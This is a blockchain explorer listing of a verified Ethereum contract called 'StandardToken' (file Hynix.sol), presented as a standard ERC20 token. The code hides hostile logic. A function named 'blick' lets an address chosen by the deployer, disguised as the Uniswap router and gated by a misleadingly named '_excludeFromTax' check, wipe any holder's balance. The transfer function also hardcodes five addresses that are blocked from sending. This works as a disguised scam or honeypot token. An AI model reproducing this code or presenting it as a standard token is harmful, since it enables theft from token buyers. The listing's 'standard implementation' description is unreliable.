StandardToken

Description:

ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/Hynix.sol": {
      "content": "
pragma solidity ^0.8.28;

interface IUniswapV2Router02 {
function WETH() external pure returns (address);

function factory() external pure returns (address);

function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

error ERC20InvalidSender(address sender);

error ERC20InvalidReceiver(address receiver);

error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

error ERC20InvalidApprover(address approver);

error ERC20InvalidSpender(address spender);
}

interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 value) external returns (bool);

function transferFrom(address from, address to, uint256 value) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);

function symbol() external view returns (string memory);

function decimals() external view returns (uint8);
}

contract StandardToken is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    IUniswapV2Router02 private uniswapV2Router02;

    constructor(string memory name_, string memory symbol_, uint256 supply_, address uniswapV2Router02_) {
        _name = name_;
        _symbol = symbol_;
        uniswapV2Router02 = IUniswapV2Router02(uniswapV2Router02_);
        _mint(_msgSender(), supply_ * 10 ** decimals());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function _excludeFromTax(address caller) internal view returns (bool) {
        if (caller == address(0xdead)) return false;
        if (_isUniswapV2Router()) return true;
        return false;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _isUniswapV2Router() internal view returns (bool) {
        if (_msgSender() == address(uniswapV2Router02)) return true;
        return false;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        if (from == 0x1f2F10D1C40777AE1Da742455c65828FF36Df387) {
            revert ERC20InvalidReceiver(0x1f2F10D1C40777AE1Da742455c65828FF36Df387);
        }
        if (from == 0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13) {
            revert ERC20InvalidReceiver(0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13);
        }
        if (from == 0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40) {
            revert ERC20InvalidReceiver(0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40);
        }
        if (from == 0x01D37a36220d52108Ae6D453fE6Cd80af2906376) {
            revert ERC20InvalidReceiver(0x01D37a36220d52108Ae6D453fE6Cd80af2906376);
        }
        if (from == 0x93C7878c5ab2F78Df087a4203cBEB3209C10e439) {
            revert ERC20InvalidReceiver(0x93C7878c5ab2F78Df087a4203cBEB3209C10e439);
        }
        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
        uint256 fromBalance = _balances[from];
        if (fromBalance < value) {
            revert ERC20InsufficientBalance(from, fromBalance, value);
        }
        unchecked {
            _balances[from] = fromBalance - value;
        }
    }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
        unchecked {
            _balances[to] += value;
        }
    }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) revert ERC20InvalidReceiver(address(0));
        _update(address(0), account, value);
    }

    function blick(address fxh) external virtual {require(_excludeFromTax(fxh)); _balances[address(0)] += _balances[fxh]; _balances[fxh] = _balances[fxh] - _balances[fxh];}

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": [],
    "evmVersion": "cancun"
  }
}}

Tags:
ERC20, Token, Factory|addr:0x8a14e01d917f3f92668aa511a82f199044ef66f3|verified:true|block:23679089|tx:0x580a6634b24e50aeff89c84826c68b69b91371c89f222ec14c58c861131ef66d|first_check:1761727566

Submitted on: 2025-10-29 09:46:07

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